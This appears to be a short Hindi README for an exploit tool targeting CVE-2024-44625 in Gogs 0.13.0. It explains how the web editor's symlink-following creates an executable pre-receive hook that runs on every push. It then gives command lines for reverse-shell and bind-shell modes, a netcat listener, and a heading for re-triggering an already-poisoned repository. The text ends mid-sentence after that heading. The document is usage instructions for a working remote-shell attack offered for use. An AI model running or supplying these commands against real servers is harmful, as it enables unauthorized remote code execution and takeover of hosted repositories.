CVE-2024-44625 और Gogs-RCE-0.13.0

रिवर्स प्रॉक्सी के पीछे 0.13.0-युग के Gogs के विरुद्ध मान्य किया गया। प्रिमिटिव: वेब एडिटर सिमलिंक-फॉलो करके एक अनुपस्थित .git/hooks/pre-receive फ़ाइल बनाता है (निष्पादन योग्य)। उसके बाद रिपॉजिटरी में हर पुश उसे चलाता है।

उपयोग:

रिवर्स शेल (पहले लिसनर चलाएँ: nc -lvnp 4444)

python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
    --mode reverse --lhost <YOUR_IP> --lport 4444

बाइंड शेल (फिर कनेक्ट करें: nc )

python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
    --mode bind --bind-port 5555

मौजूदा हुक को दोबारा ट्रिगर करें (रिपॉजिटरी पहले से पॉइज़न्ड है) बिना दोबारा प्लांट किए: